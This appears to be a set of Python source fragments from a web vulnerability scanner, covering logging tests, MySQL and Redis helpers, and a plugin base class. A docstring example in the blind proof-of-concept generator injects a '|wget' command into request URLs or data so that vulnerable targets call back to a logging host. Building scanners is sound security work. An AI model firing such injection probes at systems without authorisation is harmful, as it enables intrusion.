def testExcectpion(self): """ :return: """ logger2 = log.get_default_logger() logger2.exception("11111")
class MysqlManage(object): _instance_lock = threading.Lock() __database = None mysql_logger = get_default_logger() @classmethod def get_database(cls, refresh=False): """ 单例多线程模式获取db对象 :param refresh: :return: """ with MysqlManage._instance_lock: mysql_config = get_system_config()['mysql'] if refresh or MysqlManage.__database is None: # or MysqlManage.__database.is_closed(): # 老方法 """MysqlManage.__database = MySQLDatabase(database=mysql_config["database"], host=mysql_config['host'], port=int(mysql_config['port']), user=mysql_config['user'], passwd=mysql_config['password']) """ MysqlManage.__database = PooledMySQLDatabase(database=mysql_config["database"], host=mysql_config['host'], port=int(mysql_config['port']), user=mysql_config['user'], passwd=mysql_config['password'], max_connections=mysql_config["max_connections"], stale_timeout=mysql_config["stale_timeout"]) return MysqlManage.__database @classmethod def close_database(cls, func): """关闭连接 :param cls: :param func: :return: """ # logger = logging.getLogger('peewee') # logger.addHandler(logging.StreamHandler()) # logger.setLevel(logging.DEBUG) def wapper(*args, **kwargs): try: MysqlManage.get_database().connect() except Exception as e: pass finally: try: return func(*args, **kwargs) except Exception as e: MysqlManage.mysql_logger.exception("close_database error") raise e finally: MysqlManage.get_database().close() return wapper
def testFileAutoCreate(self): """ 测试log文件是否自动创建 :return: """ from common import log logger1 = log.get_default_logger() logger1.info("1222") logger2 = log.getLogger("334555") logger2.info("4555")
def testColorLog(self): """ 测试非windows系统下log颜色是否为正常显示 :return: """ from common import log logger2 = log.get_default_logger() logger2.info("info") logger2.error("error") logger2.warning("warning") logger2.critical("critical")
def testExceptionLog(self): """ 测试是否能够捕获异常 :return: """ from common import log logger2 = log.get_default_logger() try: number = 1 / 0 except ZeroDivisionError as e: logger2.exception("11111") logger2.info("info")
def check_is_alive(url, method, data, headers): """ 检测接口是否能正常访问 :param package: :return: """ import requests from common import log logger = log.get_default_logger() headers = json.loads(headers) if isinstance(headers, str) else headers try: logger.info("check if the target URL content is stable") requests.request(method=method, url=url, data=data, headers=headers, timeout=5) logger.info("the target URL content is stable") return True except Exception as e: logger.warn("the target URL content is not stable") return False
class BaseChecker(object): """ 抽象插件父类 """ __metaclass__ = ABCMeta logger = log.get_default_logger() # 解析类 PARSER_DIC = { BaseTrafficParser.DEAFAULT_PARSER: BaseTrafficParser, BaseTrafficParser.CHROME_PARSER: ChromeTrafficParser } def __init__(self): """ 初始化流程下: 1.初始化插件基本信息 2.检测插件信息必传字段是否完整 disable表示是否禁用 path表示插件的实际路径 absolute_plugin_path 插件绝对路径 relative_plugin_path 插件相对路径 """ self.info = dict() self.useable = PluginSwith.ON self.result = dict() self.init_plugin_info() self.absolute_plugin_path = None self.relative_plugin_path = None try: self.check_plugin_info() except BaseHunterException as e: BaseChecker.logger.exception("插件信息错误") def init_check_result(self): """ 初始化检测结果 :return: """ self.result = { 'status': False, 'info': '没有漏洞(默认的描述信息)', 'error': [], 'details': self.info, 'payload': '' } @abstractmethod def init_plugin_info(self): """ 初始化加载插件 :return: """ pass def check_vuln(self, request_raw): """ check_logic为基础检测逻辑,各个插件自己实现,首先判断插件是否为禁用状态 :param request_raw: :return: """ try: self.init_check_result() if self.useable == PluginSwith.ON: self.check_request_raw(request_raw) self.check_logic(request_raw) self.record_payload(request_raw) except BaseHunterException as e: BaseChecker.logger.exception("请求数据包格式出错") finally: return self.result @abstractmethod def check_logic(self, request_raw): """ 在里面对result进行赋值 :param request_raw: :return: """ pass async def async_check_vuln(self, request_raw): """ 新增异步函数 :param package: :return: """ return self.check_vuln(request_raw) def parse_headers(self, headers=dict()): """ 解析参数 :param headers: :return: """ if not isinstance(headers, dict): raise HeaderParseError() def check_request_raw(self, request_raw): """ 检查流量数据包中的必要字段是否完整 :param request_raw: :return: """ if not isinstance(request_raw, dict): raise BaseHunterException( "传入的request_raw不是一个dict类型,其类型为{type}".format( type=type(request_raw) if request_raw else None)) keys = ["type", "url", "method", "headers"] miss_keys = [] for key in keys: if key not in request_raw: miss_keys.append(key) if len(miss_keys) > 0: raise RequestParseError(request_raw, miss_keys) def check_plugin_info(self): """ 检查info的必要字段是否完整 :param info: :return: """ assert isinstance(self.info, dict), "传入的info不是一个dict类型" keys = [ "tag", "author", "name", "imp_version", "description", "repair", "type" ] miss_keys = [] for key in keys: if key not in self.info: miss_keys.append(key) if len(miss_keys) > 0: raise PluginInfoError(self.info, miss_keys) def get_plugin_info(self): return self.info def parse_data(self, package): """ 解析data data为空 data 为XML,data为合法str,data为非法str :param data: :return: """ if isinstance(package, dict): if "data" in package: try: result = json.loads(package['data']) except JSONDecodeError: result = package['data'] else: result = None if isinstance(package, str): try: result = json.loads(package) except JSONDecodeError: result = package return result def generate_uuid(self): """ 生成uuid,根据时间戳生成 :return: """ current_time = str(time.time()) return encode_b64(current_time.split(".")[1]) def generate_blind_poc(self): """ 生成poc,生成无回显poc ,根据选择的是Dns模块还是Socket模块,选择规则如下: 1.Dns模块单独开启了,优先使用Dns模块 2.Socket模块单独开启了,使用Socket模块 3.Dns模块和Socket模块开启了,使用Dns模块 4.都没开启则不调用 根据Dns或者Socket模块开关获取poc 如下代码为检测命令执行 Simple example usage code: blind_poc, check_bilnd_poc_url, hunter_log_api_token = self.generate_blind_poc() if not blind_poc["data"]: return if blind_poc["type"] == "dns": attack_payload = "http://%s" % (blind_poc["data"]) # 得到的是一个域名,域名前缀为uuid elif blind_poc["type"] == "socket": attack_payload = "http://%s:%s/%s" % (blind_poc["data"]["host"], blind_poc["data"]["port"], blind_poc["data"]["uuid"]) # 情况1 和情况2 if http_method == HttpMethod.GET or (http_method == HttpMethod.POST and content_type is None): payload = UrlDataClassification.add_poc_data(url=temp_url, http_method=http_method, content_type=content_type, poc="|wget %s" % (attack_payload)) self.request(method=http_method, url=payload, data=temp_data, headers=temp_headers) elif http_method == HttpMethod.POST and content_type is not None and temp_data is not None: payload = UrlDataClassification.add_poc_data(url=temp_data, http_method=http_method, content_type=content_type, poc="|wget %s" % (attack_payload)) self.request(method=http_method, url=temp_url, json=json.loads(payload), headers=temp_headers) req = requests.get(check_bilnd_poc_url, headers={"token": hunter_log_api_token}) response = req.json() if "status" in response and response["status"] == 200: self.result['status'] = True self.result['info'] = '%s 存在一个命令执行漏洞' % request_raw['url'] self.result['payload'] = payload :return: """ system_config_single = SystemConfigService.get_single_instance( refresh=True) hunter_log_socket_switch = system_config_single.hunter_log_socket_switch hunter_log_dns_switch = system_config_single.hunter_log_dns_switch plugin_uuid = self.generate_uuid() # 生成poc , hunetr log平台查询api url,和 hunter_log 平台api 的查询token blind_poc = {"type": "dns", "data": None, "uuid": plugin_uuid} check_bilnd_poc_url = self.generate_check_bilnd_poc_url( system_config_single, plugin_uuid) hunter_log_api_token = system_config_single.hunter_log_token data = None if hunter_log_dns_switch: blind_poc["type"] = "dns" data = "%s.%s" % (plugin_uuid, system_config_single. hunter_log_dns_fake_root_domain) elif not hunter_log_dns_switch and hunter_log_socket_switch: blind_poc["type"] = "socket" data = { "host": system_config_single.hunter_log_socket_host, "port": system_config_single.hunter_log_socket_port, "uuid": plugin_uuid } blind_poc["data"] = data return blind_poc, check_bilnd_poc_url, hunter_log_api_token def generate_check_bilnd_poc_url(self, system_config_single, plugin_uuid): """ 生成 hunetr log平台查询api url :param hunter_api_url: :param plugin_uuid: :return: """ if str(system_config_single.hunter_api_url).endswith("/"): check_bilnd_poc_url = "{}{}".format( system_config_single.hunter_api_url, plugin_uuid) else: check_bilnd_poc_url = "{}/{}".format( system_config_single.hunter_api_url, plugin_uuid) return check_bilnd_poc_url @staticmethod def get_parser_name(request_raw): """ 获取解析器名 :param request_raw: :return: """ parser_name = request_raw[ "parser"] if "parser" in request_raw else BaseTrafficParser.CHROME_PARSER return parser_name @staticmethod def get_parser_class(request_raw): """ 根据名字获得解析器类 :return: """ parser_name = BaseChecker.get_parser_name(request_raw) parser_class = BaseChecker.PARSER_DIC[parser_name] return parser_class def record_payload(self, request_raw): """ 记录最终发送的payload数据包,展现原生数据格式 :return: """ pass
""" import json import logging import traceback import smtplib from email.header import Header import email.mime.multipart import email.mime.text from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.application import MIMEApplication from model.system_config import SystemConfigService, SystemConfig from common import log from common.config_util import get_system_config logger = log.get_default_logger() class EmailUtils(object): """ 邮件发送工具类 """ def __init__(self): """ 初始化配置 """ email_config = self.get_email_config() self.mail_host = email_config.smtp_host self.mail_port = email_config.smtp_port self.mail_username = email_config.sender_email
class RedisService: logger = log.get_default_logger() HUNTER_TASK_KEYS = "hunter-task:" HUNTER_URLCLASSIFICATIONS_KEYS = "simplify_request" HUNTER_USER = "******" HUNTER_PLUGIN = "hunter-plugin:" HUNTER_PLUGIN_SWITCH = "hunter-plugin-switch" @staticmethod def get_user(user_name): """ 根据用户名称获取用户 :param user_name: :return: """ user = dict() try: user = RedisManage.get_redis_client().hgetall("{}{}".format( RedisService.HUNTER_USER, user_name)) except Exception as e: RedisService.logger.exception("RedisService get_user error") raise e finally: if not user: raise UserNotFoundInRedisException("未从redis中找到用户信息") user_object = dict_to_object(user) return user_object @staticmethod def remove_user(user_name): """ 根据用户名删除用户 :param user_name: :return: """ try: hashkey = "{}{}".format(RedisService.HUNTER_USER, user_name) if RedisManage.get_redis_client().exists(hashkey): hashkey_all = RedisManage.get_redis_client().hkeys(hashkey) for i in range(len(hashkey_all)): RedisManage.get_redis_client().hdel( hashkey, hashkey_all[i]) except Exception as e: RedisService.logger.exception("RedisService remove_user error") @staticmethod def update_user(user_name, user_info): """ 保存用户信息到redis中,在用户退出登录之后同步,记得设置session,过期时间为两小时 user_info包含字段如下 role warning: 需要注意的是不能出现为None的情况 :param user_name: :param user_info: :return: """ try: for (key, value) in user_info.items(): if value is None: user_info[key] = "" RedisManage.get_redis_client().hmset( RedisService.HUNTER_USER + user_name, user_info) except Exception: RedisService.logger.exception("RedisService update_user error") @staticmethod def update_user_field(user_name, field_name, field_value): """ 修改用户某个字段的值 :param user_name: :param field_name: :param field_value: :return: """ try: RedisManage.get_redis_client().hset( RedisService.HUNTER_USER + user_name, field_name, field_value) except Exception: RedisService.logger.exception( "RedisService update_user_field error") @staticmethod def create_task(task_id, hook_rule, openid, status): """ 创建任务,即向redis中存入hook_rule,openid,status,access_token :return: """ try: RedisManage.get_redis_client().hset( "{}{}".format(RedisService.HUNTER_TASK_KEYS, task_id), "hook_rule", hook_rule) RedisManage.get_redis_client().hset( "{}{}".format(RedisService.HUNTER_TASK_KEYS, task_id), "user_name", openid) RedisManage.get_redis_client().hset( "{}{}".format(RedisService.HUNTER_TASK_KEYS, task_id), "status", status) except Exception: RedisService.logger.exception("RedisService create_task error") @staticmethod def stop_task(task_id): """ 停止任务 :param task_id: :return: """ try: RedisManage.get_redis_client().hset( "{}{}".format(RedisService.HUNTER_TASK_KEYS, task_id), "status", TaskStatus.KILLED) except Exception: RedisService.logger.exception("RedisService stop_task error") @staticmethod def update_task_hook_rule(task_id, hook_rule): """ 更新HookRule :param task_id: :param hook_rule: :return: """ try: RedisManage.get_redis_client().hset( "{}{}".format(RedisService.HUNTER_TASK_KEYS, task_id), "hook_rule", hook_rule) except Exception: RedisService.logger.exception( "RedisService update_task_hook_rule error") @staticmethod def get_task(task_id): """ 获取任务详情 :param task_id: :return: """ task = dict() # result = {"access_token": "", "status": TaskStatus.NONE, "hook_rule": "*", "openid": ""} try: task = RedisManage.get_redis_client().hgetall("{}{}".format( RedisService.HUNTER_TASK_KEYS, task_id)) except Exception: RedisService.logger.exception("RedisService get_task error") task = { "status": TaskStatus.NONE, "hook_rule": "*", "user_name": "" } finally: if "status" not in task: task["status"] = TaskStatus.NONE if "hook_rule" not in task: task["hook_rule"] = "*" if "user_name" not in task: task["user_name"] = "" user_object = dict_to_object(task) return user_object @staticmethod def save_temp_urlsets(urlclassifications_md5, post_data): """ 这个百分之百能成功,因为每次的requestid必定是不同的 temp_urlsets key为md5(urlclassifications) value为set sismember :return: """ result = False try: is_exist = RedisManage.get_redis_client().sismember( "{}{}".format(RedisService.HUNTER_TEMP_URLSETS_KEYS, urlclassifications_md5), post_data) if not is_exist: RedisManage.get_redis_client().sadd( "{}{}".format(RedisService.HUNTER_TEMP_URLSETS_KEYS, urlclassifications_md5), post_data) result = True except Exception: RedisService.logger.exception( "RedisService save_temp_urlsets error") result = False return result @staticmethod def create_urlclassifications(task_id, post_data): """ 用于对抓取到的url进行分类,类型为hash,md5:str(),第一次存入返回true表示为新链接 :return: """ try: post_data["data"].pop('requestid') request_raw = post_data["data"] http_method = str(request_raw["method"]).lower() url = str(request_raw["url"]).strip() headers = http_util.header_to_lowercase( json.loads(request_raw['headers'])) content_type = headers[ "content-type"] if headers is not None and http_util.ContentType.NAME.lower( ) in headers else None data = request_raw['data'] if "data" in request_raw else None simplify_request = BaseChecker.get_parser_class( request_raw).simplify_request(url=url, data=data, http_method=http_method, content_type=content_type) simplify_request_str = json.dumps(simplify_request) # 请求解析归类之后的MD5 simplify_request_md5 = hashlib.new( 'md5', simplify_request_str.encode("utf-8")).hexdigest() if not RedisManage.get_redis_client().hexists( "{}{}".format(RedisService.HUNTER_URLCLASSIFICATIONS_KEYS, str(task_id)), simplify_request_md5): RedisManage.get_redis_client().hset( RedisService.HUNTER_URLCLASSIFICATIONS_KEYS + str(task_id), simplify_request_md5, simplify_request_str) return True return False except Exception: RedisService.logger.exception("create_urlclassifications error") return False @staticmethod def clean_urlclassifications(task_id): """ 清空 simplify_request:taskid :param task_id: :return: """ try: RedisManage.get_redis_client().delete("{}{}".format( RedisService.HUNTER_URLCLASSIFICATIONS_KEYS, task_id)) except Exception: RedisService.logger.exception("clean_urlclassifications error") @staticmethod def get_unuseable_plugin_names(): """ 获取开关为OFF的插件,从扫描插件实体中去除 :return: """ unuseable_plugin_name_list = list() try: plugin_switch = RedisManage.get_redis_client().hgetall( RedisService.HUNTER_PLUGIN_SWITCH) for plugin_name, plugin_swith in plugin_switch.items(): if plugin_swith == PluginSwith.OFF: unuseable_plugin_name_list.append(plugin_name) except Exception: RedisService.logger.exception( "RedisService get_unuseable_plugin_names error") return unuseable_plugin_name_list @staticmethod @deprecated(version='2.0', reason="You should use another function") def list_plugins_info(): """ 展示所有插件信息,2.0 废弃 :return: """ plugin_info_list = list() try: plugin_switch = RedisManage.get_redis_client().hgetall( RedisService.HUNTER_PLUGIN_SWITCH) for plugin_name, plugin_swith in plugin_switch.items(): plugin_info = RedisManage.get_redis_client().hgetall( RedisService.HUNTER_PLUGIN + plugin_name) plugin_info["useable"] = int(plugin_info["useable"]) plugin_info_list.append(plugin_info) except Exception: RedisService.logger.exception( "RedisService list_plugins_info error") return plugin_info_list @staticmethod @deprecated(version='2.0', reason="You should use another function") def init_plugin_info(): """ 初始化插件信息,2.0 废弃 :return: """ from common.plugins_util import load_default_checkers try: checker_dict = load_default_checkers() for (plugin_name, checker_instance) in checker_dict.items(): plugin_instance_info = { "name": plugin_name, "tag": checker_instance.info["tag"], "imp_version": checker_instance.info["imp_version"], "type": checker_instance.info["type"]["fullchinesename"], "level": checker_instance.info["type"]["level"], "description": checker_instance.info["description"], "useable": PluginSwith.ON } RedisManage.get_redis_client().hmset( RedisService.HUNTER_PLUGIN + plugin_name, plugin_instance_info) except Exception: RedisService.logger.exception( "RedisService init_plugin_info error") @staticmethod def init_plugin_config(): """ 初始化插件开关 :return: """ from common.plugins_util import load_default_checkers try: checker_dict = load_default_checkers(True) for (plugin_name, checker_instance) in checker_dict.items(): plugin_config_info = json.dumps({ "tag": checker_instance.info["tag"], "useable": PluginSwith.ON, "removed": False }) RedisManage.get_redis_client().hset( RedisService.HUNTER_PLUGIN_SWITCH, plugin_name, plugin_config_info) except Exception: RedisService.logger.exception("RedisService update_plugin error") @staticmethod def modify_plugin_config(plugin_name, plugin_config): """ example {"tag": checker_instance.info["tag"], "useable": PluginSwith.ON, "removed": False} :param checker_instance: :param kwargs: :return: """ assert isinstance(plugin_config, dict) RedisManage.get_redis_client().hset(RedisService.HUNTER_PLUGIN_SWITCH, plugin_name, json.dumps(plugin_config)) @staticmethod def modify_plugin_switch(checker_instance, plugin_swith=PluginSwith.OFF): """ 服务端更新插件开关,打开或者关闭插件开关,Redis出问题默认降级使用本地配置文件 :param plugin_swith: :return: """ try: plugin_tag = checker_instance.info["tag"] plugin_name = checker_instance.info["name"] plugin_config = { "tag": plugin_tag, "useable": plugin_swith, "removed": False } if RedisManage.get_redis_client().hexists( RedisService.HUNTER_PLUGIN_SWITCH, plugin_name): pre_plugin_config = RedisManage.get_redis_client().hget( RedisService.HUNTER_PLUGIN_SWITCH, plugin_name) plugin_config = json.loads(pre_plugin_config) plugin_config["useable"] = plugin_swith RedisService.modify_plugin_config(plugin_name, plugin_config) except Exception: RedisService.logger.exception( "RedisService modify_plugin_switch error")
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """ author: b5mali4 """ import json import threading import configparser from common.log import get_default_logger from common.path import HUNTER_CONFIG_PATH from common.plugin_config.base_plugin_config import BasePluginConfig logger = get_default_logger() class RedisPluginConfig(BasePluginConfig): """ 插件配置,从redis加载插件相关配置 """ _instance_lock = threading.Lock() def __init__(self, next_plugin_config=None): """ 降级方案,下一级插件配置 """ self.next_plugin_config = next_plugin_config self.plugin_config = dict()
def print_logo(): logger = log.get_default_logger() logger.setLevel(logging.DEBUG) logger.info(logo)